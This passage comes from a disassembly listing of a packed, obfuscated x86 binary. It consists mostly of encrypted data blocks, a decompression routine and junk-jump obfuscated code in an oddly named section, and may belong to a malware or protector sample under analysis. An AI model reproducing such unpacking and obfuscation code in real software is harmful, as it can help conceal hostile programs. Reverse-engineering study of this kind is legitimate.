273132DEh, 97F57F1Fh, 7DB109Ch, 52AAF434h dd 908BB8ACh, 0A29CCBF1h, 55B2F90Fh, 1C1AD9Ah, 0B8983B87h dd 749C52F3h, 0EB141B79h, 85B0F72Bh, 2B2F3463h, 80BAB91Ah dd 0F99BB16h, 41558AA5h, 4B7CB140h, 9AF6D96Eh, 65D055EFh dd 6E887215h, 88E898ECh, 73099678h, 9D2A7861h, 0E3BA1AE4h dd 6D4A8C49h, 0FEE343FEh, 0D8425B3Dh, 887785E1h, 4B4EA56h dd 0C641DFDh, 6EFCD2B2h, 0BC46E5E8h, 0D9FB9468h, 2BCB46C4h dd 1F69A6FDh, 46A39A9Dh, 1CED4AD3h, 24BD0D2Fh, 1B950D67h dd 5F8D6C1Ch, 0D8A24BFEh, 8DDF01AAh, 0F873AF71h, 0F9EB891Fh dd 711B2C7Ch, 1EFD7098h, 86AB4BF2h, 5A2BE757h, 0C126CD3Ah dd 0AAE50AADh, 6833BA46h, 0F7A2FF9Eh, 42E2160Dh, 0B1D52AB2h dd 0D4F8B99Fh, 0B10AB816h, 30875FD1h, 887F53EFh, 59605ED2h dd 7C109556h, 0F03EE8A2h, 7BDFC3C5h, 0C32A5F3Ch, 1F79C5Fh dd 533FF05Ah, 6099E14Dh, 0C350B23h, 687E1449h, 0C17D739Eh dd 0AB72264Dh, 0A2A82DECh, 0B62DD740h, 0DC65DA22h, 7AD36F1h dd 0FC739299h, 1CD56D8Bh, 8AB1FB4Dh, 34DD6DC2h, 0AAC3B278h dd 0A9CB4B8Ah, 0F911BD31h, 0D0C36CAh, 4AB52384h, 43AD626Dh dd 66DDA391h, 4E95B26Ah, 0D397D803h, 0D55A3D9Bh, 6849449Ah dd 0C371501Dh, 733820B1h, 76B16E6Dh, 0AAAAA724h, 0C27D9A9Eh dd 62963347h, 0BB9119BAh, 0F1A27258h, 304A8CACh, 0DBEBFE4Ah dd 0C7027A2Fh, 0D4745B27h, 0CF0DEBEFh, 0C0C24282h, 0F1589042h dd 0A139BF91h, 0EAB0D551h, 2BAEB079h, 3AB36F44h, 2280F5BBh dd 0C59D9AA6h, 0DAF8AAE0h, 0F62E45C8h, 2346CD18h, 0A8A10FDAh dd 0CC163ACBh, 0B6C2D79Fh, 0F8A80E3Fh, 9DA7DB1Fh, 0EF9F46A6h dd 269D475h, 83FB079Dh, 672B2905h, 877D72F3h, 0DE55C3FDh dd 3A6284A9h, 3A09D16Eh, 0A11D8EF7h, 831EE556h, 9BB43AA9h dd 86F43B81h, 0FC713F11h, 0CF99DBC9h, 7E12D7F7h, 33B8B3F8h dd 9E23AA0Ch, 0B5A28057h, 6431E44Eh, 9A85273Eh, 27E9A417h dd 0BF175CEFh, 2B7A6E82h, 8AD282A3h, 450A78Ah, 0AA3A4954h dd 94D32A66h, 21F8559Ah, 96F35A4Ch, 20D33B6Bh, 68574D33h dd 188A7892h, 1C0473C5h, 0E7C095B5h, 0BBD388EBh, 0E231D52Fh dd 0E1FE2A71h, 0E3CB58E4h, 0EB37D753h, 5C1D7F0Dh, 461E9808h dd 0DA6AE208h, 805D8599h, 6FEE69EAh, 0C1BDDEE8h, 87D67715h dd 5BA72A5Ah, 78631A91h, 3FF22D1Eh, 9BD1144Dh, 0FCAC05C4h dd 8CE681AAh, 514D7C6Fh, 95D9CBD4h, 0B49A6E26h, 27F24FAEh dd 1338247Dh, 2CE1CE23h, 3C52779Eh, 1553EA78h, 0BA0B8ED6h dd 0B4569045h, 378AC712h, 5D43A4E2h, 13BD9B1Ah, 0C15887ADh dd 92B946F2h, 0E2D87C10h, 0BD646DC6h, 65C4F64Dh, 0CBF8EF27h dd 6863EA45h, 4B77576h, 0EE5E3BC7h, 590542D1h, 155458DBh dd 2C7D712Fh, 978C338h, 0B6A9F7AEh, 0A1C7C4Fh, 0DDD52CDCh dd 0CE6EB3A2h, 861A917Eh, 4976EDC1h, 0FC6D30F6h, 0B26CAD30h dd 4D36E342h, 6094CA89h, 0A365DA6Fh, 0FC5E5A70h, 0D7731B0h dd 0A30287FAh, 0DDAA7B32h, 8034623Ch, 0D8834BE0h, 0F3B67290h dd 0E0AB55F4h, 0C5B0C401h, 626B5B1Dh, 9E7FC07Fh, 51340DD4h dd 406F81F5h, 2AB5F2F2h, 895050FBh, 0DB26DA8Eh, 62FE44ADh dd 1D39E614h, 0BCAFEC45h, 449FBDE7h, 984F8E12h, 0EC6F02A6h dd 891A5C6Fh, 9A46CBFCh, 0C8CDF0D4h, 0D0953478h, 9D32814Fh dd 97FE6DA5h, 0ABDEFCE8h, 4E671EADh, 7C5BD648h, 0F23AAE67h dd 6620D927h, 53BC0D34h, 9825769h, 0FF1ABA9Bh, 9EA8850Ch dd 6AE0545Fh, 6A3889B4h, 0CED8CA43h, 24C3E0ADh, 86BB6773h dd 9B7843C3h, 60FB3DC8h, 0B35C5C0Bh, 0C38D8F15h, 0BF6215E8h dd 7972522h, 787060BEh, 94FD969Bh, 2EAEA089h, 36464299h dd 0D4BCDBD6h, 95742905h, 8D2BA2B1h, 68E0811Ch, 8E4CCE69h dd 86FE5C1Bh, 29077E5Bh, 0ADA200Ah, 0FB585AB3h, 0FA77763h dd 0C259B8DCh, 0ECE35B29h, 0FF7CDF4Eh, 5C903F7h, 0F0BDEF7Ch dd 0FE02D2E0h, 0D2E119D9h, 886E5A70h, 22A77C95h, 20C107CFh dd 62F775ECh, 0BA924CC8h, 4AE48105h, 0CD13ECA8h, 0B467BF03h dd 0F97BC551h, 0C3A7AE30h, 0A5FFC5F1h, 56B57667h, 7F82631h dd 6D1402FBh, 4FC19666h, 0F0B06D36h, 9DCE5AE8h, 0F86624FAh dd 89EC7997h, 1ACD3E5Ah, 0F336D95Ch, 8D167F39h, 60062A56h dd 959F1FC9h, 6DA9136Ch, 0F647AB49h, 3D157E57h, 7E1E269Eh dd 511A5C88h, 3C18E104h, 255B195Bh, 1C4BEED4h, 8A768224h dd 1A0A9FE1h, 0E46FFDD7h, 0AC1931D3h, 0C7391994h, 4AFCEC5Ch dd 4E4281E8h, 712A5987h, 796A99EBh, 0CF8E3611h, 0FE7ABACDh dd 0C3E18744h, 701F7B5h, 0D5751F9Eh, 62D0A7AFh, 68F6BE04h dd 14E2D017h, 32DE8B25h, 834043F0h, 98D7B3F7h, 0CABB326h dd 0D4CF3ABEh, 5F83AF5Dh, 0CB43AD50h, 14C1A454h, 0FF047249h dd 46388C21h, 71EE54AFh, 15643ED8h, 83B3DC2Fh, 789C6C28h dd 0ADA28C42h, 4F56DD52h, 0DD82344Dh, 0E7A5E22Bh, 0AA193BE6h dd 0C4B2A3C4h, 0AA254D02h, 6CBF38DCh, 5E3D3AC2h, 0A111EA18h dd 1463D156h, 46ADD594h, 532074F4h, 7FAF5EFh, 1F66649Eh dd 0AFDDCB39h, 0EDC3D2C1h, 6A40A550h, 1BB85F91h, 53D4ACFDh dd 5FAAE234h, 0CCE2A91Dh, 0A95E921Fh, 48E0349Fh, 0CBC6C3D7h dd 208B7D73h, 6A2CD5C4h, 0E2573464h, 0EB1F7C0Dh, 4E77CCBh dd 655FC8AAh, 7D298BFCh, 0F2FCA284h, 0D2B4F1C8h, 0B014AAEDh dd 49587581h, 26186A75h, 0FCC50C4Ah, 2B8217EEh, 0E1C81484h dd 0B8D739E8h, 0A391FA38h, 5F7307C6h, 471552EEh, 0FAE15329h dd 0BEDCCA5Eh, 5B221957h, 4867B292h, 20FE9443h, 9F9195A1h dd 0F1D16354h, 732A62D2h, 84965758h, 0CD01DF25h, 1BCB7C20h dd 7BF0462Ah, 0EB270CB4h, 0C47F3559h, 5C68ADE0h, 4A97A405h dd 8AA5A8DBh, 1B426A61h, 0B81CB172h, 0D70FE38Ch, 693C5D6Ch dd 108717FCh, 0BB501281h, 2E31E337h, 0C723FFD5h, 7B5B374Bh dd 0E742E0E0h, 7A869817h, 0E7E2A0D3h, 30CE72BEh, 4B66D1BCh dd 0B4345AB2h, 0AC8A0D57h, 1DAED47Fh, 0C5FE8079h, 44C958B1h dd 0CF0EF469h, 0E218569Ch, 3686799Bh, 4BFCCA81h, 0FC5FC7BCh dd 49DB87DDh, 0E2A136BAh, 6BBA8348h, 0D68842DEh, 0B7E4F4C8h dd 0B71C4C52h, 216278FCh dd 0FC37677Eh, 9A1AFF9h, 0CB3BAB41h, 0D784B986h, 0C6BD557Dh dd 0D4A9C51Dh, 0ACAF7197h, 54416269h, 19D98FDh, 66E1FF1Eh dd 322FF2FFh, 0E449CC5Ah, 1760128Bh, 0F5CA6103h, 730BD1AEh dd 0D64A9DA3h, 3E1FC47Dh, 89BF4A57h, 389E0C27h, 0EE202AB4h dd 6502BB03h, 4B445393h, 0C3FE7B11h, 661A9727h, 8F173F74h dd 7352B3C6h, 0BA5DF553h, 0CEF085AFh, 0BF553CC4h, 539CFF2Fh dd 0CBFBA573h, 8F2493F6h, 1C1DB8DDh, 7AC9F12Ah, 0AEAFD806h dd 9F447E59h, 0F5934CD7h, 8E46CF2Ch, 55566343h, 0CF1D8BEAh dd 0EFE9E2E7h, 1F09AD17h, 0B13EFDABh, 3312F2C3h, 0BE29651Ch dd 3EC956A9h, 3C1AC58Ah, 0B36EC05h, 0D08633EDh, 242C53E5h dd 96532E46h, 0B6DEF4F1h, 5F658FCCh, 88A52E29h, 0B0D6D8B9h dd 0E5AF3BA0h, 0E0668EACh, 7887D43Fh, 3E1378ECh, 77163E47h dd 99F8EBEFh, 7A0DBB00h, 1E09B46Ah, 0E271AFA5h, 15D55D75h dd 0F438493Fh, 59DCA4E1h, 41ACAA97h, 0EE926965h, 1585CD76h dd 0A234842Dh, 0A2F0C525h, 0CAA2612Ah, 96C35C92h, 0EC711136h dd 0A70FFD0Ah, 0CD08CC86h, 52CD043Eh, 551D8DA9h, 0D3C20B55h dd 0F958D68Fh, 0B626EB4Ch, 0C5FF5E7Dh, 0DA048BE8h, 0C08727F0h dd 0E782130Bh, 4E39E3A8h, 681D1E35h, 0F58F8DD6h, 981517EBh dd 970A54E8h, 0C8D07DD5h, 97E3222Fh, 5A1881F3h, 2AAE396Bh dd 7CAA7E07h, 5A1D832h, 0DB1B6730h, 7D8BCA83h, 6D5EC17Fh dd 0EE37829h, 87E105EFh, 0E0CB1711h, 32E4E9D7h, 0AB9E8CBAh dd 549A437Fh, 0AE86ADFBh, 0CE911413h, 97F372D1h, 0D9F27D15h dd 32748364h, 3C1C6FEBh, 7022941Ah, 0BB254C35h, 0C71BA09Bh dd 98FACD7Ch, 9AF35FE8h, 0B6197F52h, 64A42ED7h, 0A91C68F2h dd 6D97AEECh, 4F750D1Eh, 15F013D0h, 720AF2D7h, 727461E2h dd 6B188862h, 39F35DD9h, 25FD4918h, 0CFADCCE1h, 8999E692h dd 1C09EFEDh, 0A6D3BCD8h, 0FD575CF2h, 0CCC3BD5Fh, 223A5FE0h dd 41097D5Ah, 113ED136h, 0D09C99DCh, 613A75D9h, 3C051DEBh dd 0AD1E16FCh, 4092452Fh, 3792D75Ch, 6530C15Dh, 351377CAh dd 384A6BC9h, 0EA51EAAAh, 8C1D44B0h, 0B80BB7B3h, 26B5ACBh dd 0E59F4107h, 0F83B8FAEh, 289342BCh, 22BF2976h, 20B33545h dd 0BE762E78h, 0EC8C7855h, 62D774B9h, 0CA352449h, 527D526h dd 7122C125h, 7E32CE67h, 652D1FB8h, 1ADA2BD1h, 873FBC35h dd 0B063AF73h, 1B909D0h, 2BCDDFFBh, 9B5A9216h, 9ECC516Ch dd 0EEA93472h, 0DCE9E155h, 5296CC25h, 11DBCC7Fh, 0D4A1AFD1h dd 321FF845h, 54842E7Dh, 955D84AFh, 23CA3FB1h, 3FA04161h dd 0BC59A013h, 5C3F8B2Bh, 0F6BE1F6Eh, 689607DFh, 0BB956F8Dh dd 326549BAh, 0B8475EC3h, 7EA1D0A9h, 157ED675h, 0ABEB6DF1h dd 59314FE5h, 0D1542C3Ah, 7F941698h, 7BC23468h, 0A3BE157Fh dd 0D0099259h, 0AE882C38h, 0FB8BD6AEh, 8DAEF24Ah, 8BCED8C1h dd 0EC5635BAh, 963CE98Bh, 299915F0h, 45F1715Eh, 69357349h dd 5C7B7A4Eh, 0B5CCCD2Dh, 7B4403F7h, 0B2BEF6B0h, 475D6A7Eh dd 1B03D257h, 7163487Eh, 0B453F8C6h, 83DBCA48h, 0B8F2E0AEh dd 0FED9FD8h, 0A071F7B8h, 1A941965h, 81E3BAD0h, 361D8F97h dd 0CB14BAEh, 15CE9626h, 0F0A7AB58h, 0EEEC6265h, 95DC6260h dd 9AAF155h, 941FC82Fh, 0DCEC07A0h, 922AB872h, 0F5D3CBB7h dd 0B4952853h, 3B9DFEBDh, 70B0933Ah, 3976C0F3h, 57DC3A15h dd 71D7BD02h, 0CD999D9Bh, 0CBD37340h, 66DA5DA9h, 9BD5ADE8h dd 36275793h, 0CB60A373h, 0FF2A8664h, 95393B6Fh, 671DB659h dd 8C9E22BFh, 3B5478D8h, 8AF91B3Dh, 2B46F062h, 47944595h dd 441B2A29h, 0F6173F4Ch, 32FA852Eh, 184DF15Eh, 1B53DFD0h dd 0DEEAB976h, 94E64384h, 8D775F4Ch, 0FE50FADCh, 8C8D8448h dd 0BF06BECAh, 0ECD83597h, 0B5CE02FDh, 0B6E91839h, 49F70D48h dd 0F47AD514h, 5F642E46h, 0F22E6891h, 14F76EB0h, 5F2FA5FBh dd 0DF03FB76h, 0C9568407h, 6ECBAA04h, 0C2E1F303h, 0FAD5310Fh dd 7E0EF12Ch, 6013D23Fh, 91D32E1Dh, 95B76C37h, 0D57EC231h dd 1E711DD2h, 0D2118A5Bh, 0A505A6B4h, 92D7F0E1h, 0CA11D7ADh dd 0AAE86C0Fh, 85EF5FBh, 0FE6B4C97h, 778D2270h, 5FD7B9CDh dd 9C7224D8h, 1C098EB6h, 0C65FBA3Ch, 2AD2385Dh, 0A4BBEF76h dd 43E3DCABh, 0C8905A81h, 948CB93Bh, 4101173Bh, 0CDF4CB76h dd 4CCEFBE2h, 0E15B6B62h, 0AE34407Fh, 0FBD52528h, 0E070E64Ch dd 7D027098h, 5020EB32h, 9F21D002h, 0A0C4294Dh, 60EB9A2Dh dd 49E5CE1Dh, 44C79955h, 72E5790Bh, 8BECBA2Dh, 582D1402h dd 0B8F8FF22h, 513315B3h, 29CC72C0h, 1B526629h, 6054E5Ah dd 0FA27354Fh, 0A67F975Bh, 7D15FBCBh, 0C4066DB2h, 0CAF5545Dh dd 69DF6B1Ah, 261D54AEh, 9FCB06B2h, 97FAE321h, 5825BB57h dd 5915F166h, 37A5E0E6h, 0FC4BE4Dh, 9D17AF53h, 0C7D89959h dd 2B662884h, 5D9302Eh, 918AABA6h, 10697CCAh, 0CCE2546Dh dd 2FAC462Bh, 6625457Bh, 0DBDC9215h, 8A0C0CCCh, 2E7EA9B6h dd 98E6D473h, 0C8568175h, 3AB1D658h, 0E5FF0797h, 7791DCEAh dd 0AD9977D8h, 790CE5EAh, 5C5DAD74h, 19167E91h, 0B77C26A6h dd 1728EA24h, 0FE86ECD2h, 4554B4CBh, 5E3D4208h, 727AD6Fh dd 3A338C32h, 9C3D40BEh, 963E2601h, 56630780h, 0CA299312h dd 318E9A4Ch, 0E2A4EF3Fh, 0E49F474Ah, 787EBB2h, 0C83C5D9Eh dd 7A5F4BD0h, 786DEEA9h, 1E636CB0h, 0ABA223C8h, 0CA68202Fh dd 0B1B49553h, 588A4769h, 4C67FECDh, 20B82D72h, 9C9002Fh dd 2FA24D14h, 2D9BA934h, 88FA2A9Eh, 327EAB30h, 1AD221EAh dd 0B0B49138h, 0ACF03599h, 5EAF726Ah, 8B714A62h, 9FB8BB2h dd 14BAE29Ah, 65FCB094h, 0FF714731h, 0F2D2077Bh, 94AEFC3Bh dd 5F4F5F54h, 0C2DDD76Dh, 0C56CE2A3h, 436BF88Bh, 54F6D996h dd 8B22DCADh, 48CDAFBFh, 0FFBD6653h, 0D4373B1h, 0FF1C3422h dd 0BFC5h, 2926B000h, 1 db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_77F0D6 proc near ; DATA XREF: _0xtwbvzc:00781B8Ao var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0077F255 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_77F218 add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_77F107: ; CODE XREF: sub_77F0D6+46j ; sub_77F0D6+8Dj ... xor eax, eax call sub_77F21F jnb short loc_77F11E mov ecx, [ebp+var_10] call sub_77F237 add al, [ebp+var_11] loc_77F11B: ; CODE XREF: sub_77F0D6+65j stosb jmp short loc_77F107 ; --------------------------------------------------------------------------- loc_77F11E: ; CODE XREF: sub_77F0D6+38j call sub_77F21F jb loc_77F1C0 call sub_77F21F jnb short loc_77F18B mov ecx, 4 call sub_77F237 dec eax jz short loc_77F11B jns loc_77F20A call sub_77F21F jnb short loc_77F165 push ebp loc_77F14B: ; CODE XREF: sub_77F0D6+8Aj mov ebp, 100h loc_77F150: ; CODE XREF: sub_77F0D6+83j call sub_77F22C mov [edi], al inc edi dec ebp jnz short loc_77F150 call sub_77F21F jb short loc_77F14B pop ebp jmp short loc_77F107 ; --------------------------------------------------------------------------- loc_77F165: ; CODE XREF: sub_77F0D6+72j mov ecx, 1 call sub_77F237 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_77F107 call sub_77F22C mov [ebp+var_11], al jmp loc_77F107 ; --------------------------------------------------------------------------- loc_77F18B: ; CODE XREF: sub_77F0D6+58j mov ecx, 7 call sub_77F237 push eax mov ecx, 2 call sub_77F237 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_77F1AD mov ebx, eax jmp short loc_77F20B ; --------------------------------------------------------------------------- loc_77F1AD: ; CODE XREF: sub_77F0D6+D1j cmp ecx, 2 jz short loc_77F218 inc ecx call sub_77F237 mov [ebp+var_C], eax jmp loc_77F107 ; --------------------------------------------------------------------------- loc_77F1C0: ; CODE XREF: sub_77F0D6+4Dj call sub_77F243 dec ecx loop loc_77F1D1 mov eax, ebx call sub_77F243 jmp short loc_77F20B ; --------------------------------------------------------------------------- loc_77F1D1: ; CODE XREF: sub_77F0D6+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_77F237 or eax, ebp pop ebp mov ebx, eax call sub_77F243 cmp eax, 10000h jnb short loc_77F208 cmp eax, 37FFh jnb short loc_77F209 cmp eax, 27Fh jnb short loc_77F20A cmp eax, 7Fh ja short loc_77F20B inc ecx loc_77F208: ; CODE XREF: sub_77F0D6+11Cj inc ecx loc_77F209: ; CODE XREF: sub_77F0D6+123j inc ecx loc_77F20A: ; CODE XREF: sub_77F0D6+67j ; sub_77F0D6+12Aj inc ecx loc_77F20B: ; CODE XREF: sub_77F0D6+D5j ; sub_77F0D6+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_77F107 ; --------------------------------------------------------------------------- loc_77F218: ; CODE XREF: sub_77F0D6+19j ; sub_77F0D6+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_77F255 sub_77F0D6 endp ; =============== S U B R O U T I N E ======================================= sub_77F21F proc near ; CODE XREF: sub_77F0D6+33p ; sub_77F0D6:loc_77F11Ep ... add edx, edx jnz short locret_77F22B mov edx, [esi] add esi, 4 stc adc edx, edx locret_77F22B: ; CODE XREF: sub_77F21F+2j retn sub_77F21F endp ; =============== S U B R O U T I N E ======================================= sub_77F22C proc near ; CODE XREF: sub_77F0D6:loc_77F150p ; sub_77F0D6+A8p mov ecx, 8 call sub_77F237 retn sub_77F22C endp ; =============== S U B R O U T I N E ======================================= sub_77F237 proc near ; CODE XREF: sub_77F0D6+3Dp ; sub_77F0D6+5Fp ... xor eax, eax loc_77F239: ; CODE XREF: sub_77F237+9j call sub_77F21F adc eax, eax loop loc_77F239 retn sub_77F237 endp ; =============== S U B R O U T I N E ======================================= sub_77F243 proc near ; CODE XREF: sub_77F0D6:loc_77F1C0p ; sub_77F0D6+F4p ... xor ecx, ecx inc ecx loc_77F246: ; CODE XREF: sub_77F243+Fj call sub_77F21F adc ecx, ecx call sub_77F21F jb short loc_77F246 retn sub_77F243 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F0D6 loc_77F255: ; CODE XREF: sub_77F0D6+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_77F0D6 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_77F25A proc near ; DATA XREF: sub_781B4Ao ; _0xtwbvzc:00781B79o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0077F8A4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0078044B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 007808F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00780B69 SIZE 00000012 BYTES shl ebp, 3 or esi, eax jmp loc_780B69 sub_77F25A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 240C8700h, 6BF5759h, 0E90077F5h, 241Ah, 0C60000h, 241C8709h dd 815BC38Bh, 0AA4C87E8h, 59890FDBh, 18h, 81C11300h, 0AEC89DE2h dd 32AE985h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 134Bh, 178AE900h, 87000000h, 0C872434h, 59F18B24h, 247FE9h dd 0FA810000h, 79D8CF5Fh, 78E9h, 0C306C600h, 5FEF8B5Eh dd 0C3h, 781B50h, 116h, 97EE95Dh, 0 dd 0CD4E8h, 1AF8E800h, 0 ; --------------------------------------------------------------------------- loc_77F2EC: ; CODE XREF: _0xtwbvzc:00781867j xchg ebx, [esp] pop ebx push offset dword_780910 jmp locret_7810AC ; --------------------------------------------------------------------------- js loc_780E31 sbb edi, ebx jno loc_780DD0 jmp loc_77F63C ; --------------------------------------------------------------------------- sub esi, 98FBA30Fh jmp loc_78034F ; --------------------------------------------------------------------------- dd 0C1560000h, 0C72B11C9h, 3CEFD781h, 0E381BB01h, 10ECA410h dd 21B8850Fh, 23000000h, 0E9FA03C8h, 1230h, 0F88E0F00h dd 87000009h, 685E2434h, 0DB32787Ch, 0B6E9h, 3B000000h dd 2173E9DEh, 0F6000000h, 0FA43C2Ah, 6DA85h, 159AE900h dd 0E5810000h, 7A4B9B5Fh, 58240487h, 0BF86857h, 0B8507F6Eh dd 7817DBh, 11BBE9h, 815E0000h, 576F32EEh, 0B7C6813Eh dd 816915E7h, 16F206E6h, 0C5EE8148h, 81F5B215h, 5A71D2F6h dd 0FCEE930h, 81000000h, 20758CC0h, 0D88B53FEh, 68241C87h dd 77FEF7h, 8CEE9h, 3000000h, 8B5AC2h, 1814E8h, 42E90000h dd 0C3000017h, 675E900h, 0C60000h, 0E900C3C3h, 1995h ; --------------------------------------------------------------------------- loc_77F3E4: ; CODE XREF: _0xtwbvzc:loc_7801CFj ; _0xtwbvzc:00780718j push ebp mov ebp, esp jmp loc_77FD7A ; --------------------------------------------------------------------------- js loc_77F8B2 jmp loc_781661 ; --------------------------------------------------------------------------- loc_77F3F7: ; DATA XREF: sub_7815C7-563o xchg edx, [esp] jmp loc_7801CF ; --------------------------------------------------------------------------- align 10h dd 27E8h, 0E9000000h, 1DD8h, 0C7810000h, 6FA638B9h, 11D8E9h dd 0BA000000h, 257AA6CAh, 5E243487h, 0DFE9D029h, 0Ah, 5F243C87h dd 87F28B56h, 0C3E82434h, 4, 10CAE900h, 870F0000h, 20FDh dd 0CE28DB81h, 0B6E9945Ch, 23h, 0E9CB8700h, 0Ah, 8B0FC9C1h dd 498E913h, 4870000h, 240C8724h, 0C659C18Bh, 815E8706h dd 0D5422BF6h, 60E91Ah, 0C30000h, 502E900h, 4BE90000h dd 11h, 0E90000C3h, 1577h, 96680000h, 5ADB19BDh, 3238E281h dd 0C2C130FBh, 0F8EA810Ch, 811A8ADDh, 4B0C8AC2h, 0E9D50344h dd 72Ch, 0C6E93E87h, 8100001Ch, 5B8106F1h, 28850F48h, 0E900000Fh dd 0E1Ch, 41FD8100h, 0E98E973Ah, 0F03h, 0C6810000h, 7CCD2F00h dd 4D65F681h, 1AE8438Dh, 23h, 8159F18Bh, 0F62D18EEh, 6CCE81A6h dd 0E9D57529h, 0AA3h, 689C0000h, 5EAAEE98h, 8B241C87h dd 1519E9CBh, 0 ; --------------------------------------------------------------------------- mov ecx, [ebp+0] sbb ebx, ebp jmp loc_781967 ; =============== S U B R O U T I N E ======================================= sub_77F522 proc near ; CODE XREF: sub_781565+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0077FC3C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0077FEC5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00780A9A SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx mov dword ptr [ebp-4], 1 mov eax, [ebp-4] xchg ebx, [esp-4+arg_0] push ebx pop ecx jmp loc_77FEC5 sub_77F522 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8100h dd 0E4C976D1h, 0F2D68B9h, 78E90078h, 9, 0F602C600h, 7CFE85Ah dd 0F000000h, 1B918Dh, 0E9000000h, 23EBh, 0FB8B0000h, 1B7FE957h dd 0F000000h, 247386h, 789E900h, 0 ; --------------------------------------------------------------------------- loc_77F57C: ; CODE XREF: _0xtwbvzc:loc_781087j sub edi, 0AA60733h and edi, 4EF073BFh xor edi, 0ECC8F3DBh push offset loc_77F613 jmp loc_77F6D5 ; --------------------------------------------------------------------------- dd 8F0F0000h, 193Dh, 0FFFF7DE9h, 0E8EC8BFFh, 2045h, 4870000h dd 0FD20924h, 0BB884h, 0B5685000h, 0E9007813h, 433h, 0C199D3F7h dd 15E917C6h, 15h, 810CC6C1h, 0BA16BAFEh, 1577E934h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77F5DF: ; CODE XREF: sub_7815C7:loc_77F6CFj or ebx, 1A14EA60h add ebx, 26581AF1h jmp loc_780191 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_306. PRESS KEYPAD "+" TO EXPAND] align 4 loc_77F5F4: ; CODE XREF: _0xtwbvzc:007818E7j jmp locret_78099A ; --------------------------------------------------------------------------- align 2 dw 768h dd 8BB9DC0Eh, 12C3C13Ah, 0EF1E8h db 3 dup(0) ; --------------------------------------------------------------------------- locret_77F60B: ; CODE XREF: _0xtwbvzc:loc_77F6D5j retn ; --------------------------------------------------------------------------- dd 7BEE900h ; CODE XREF: _0xtwbvzc:007813D2j db 3 dup(0) ; --------------------------------------------------------------------------- loc_77F613: ; DATA XREF: _0xtwbvzc:0077F58Eo add edi, 145F8ACBh loc_77F619: ; DATA XREF: _0xtwbvzc:0077F6F0o xchg edi, [esp] push ecx call sub_77FE08 loc_77F622: ; CODE XREF: _0xtwbvzc:0077FCA2j jmp locret_7816FD ; --------------------------------------------------------------------------- align 4 dd 5300C300h, 87EF8B55h, 0F7BF242Ch, 0E9007811h, 18A8h ; --------------------------------------------------------------------------- loc_77F63C: ; CODE XREF: _0xtwbvzc:0077F308j rol ecx, 1Dh and ecx, 0C55E8931h push ecx push 1B17E3A8h jmp loc_7801C8 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_77F651 proc near ; CODE XREF: sub_7815C7:loc_780191p ; FUNCTION CHUNK AT 0077F989 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00780BAA SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov byte ptr [ebx], 9Dh pop ebx sub edx, 0F684E480h rol edx, 1Dh or edx, 5E96B894h jmp loc_77F989 sub_77F651 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 locret_77F66E: ; CODE XREF: _0xtwbvzc:loc_780708j retn ; --------------------------------------------------------------------------- align 10h cdq jmp loc_7806AD ; --------------------------------------------------------------------------- xchg ebx, [esp] pop ebx push ebx mov ebx, ebp xchg ebx, [esp] jmp loc_781830 ; --------------------------------------------------------------------------- align 4 dd 9C02735Ah, 810F0000h, 0FFFFFCC9h, 10E1E9h, 9B956800h dd 0D623932Ch, 9FCE9h, 0C2810000h, 2AECCEEh, 62C031BCh dd 11FCE9h, 0FFE80000h, 12h, 1379E900h, 0E9000000h, 0B1Ah dd 13F8E900h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77F6CF: ; CODE XREF: sub_7815C7-1120j jmp loc_77F5DF ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_77F6D5: ; CODE XREF: _0xtwbvzc:0077F593j jmp locret_77F60B ; --------------------------------------------------------------------------- dw 0C600h ; CODE XREF: _0xtwbvzc:loc_77FF9Aj ; --------------------------------------------------------------------------- pop es xchg eax, [edi-274DBD4h] pop ebp pop edi jmp loc_781087 ; --------------------------------------------------------------------------- push 8B7E0200h push edi mov edi, offset loc_77F619 jmp loc_77FF9A ; --------------------------------------------------------------------------- dw 0F00h dd 31284h, 1DC0E900h, 0E9000000h, 0C81h, 0E9E82B00h, 2F7h ; CODE XREF: _0xtwbvzc:0078136Ej dd 0D680000h, 873127EAh, 0C68B2434h, 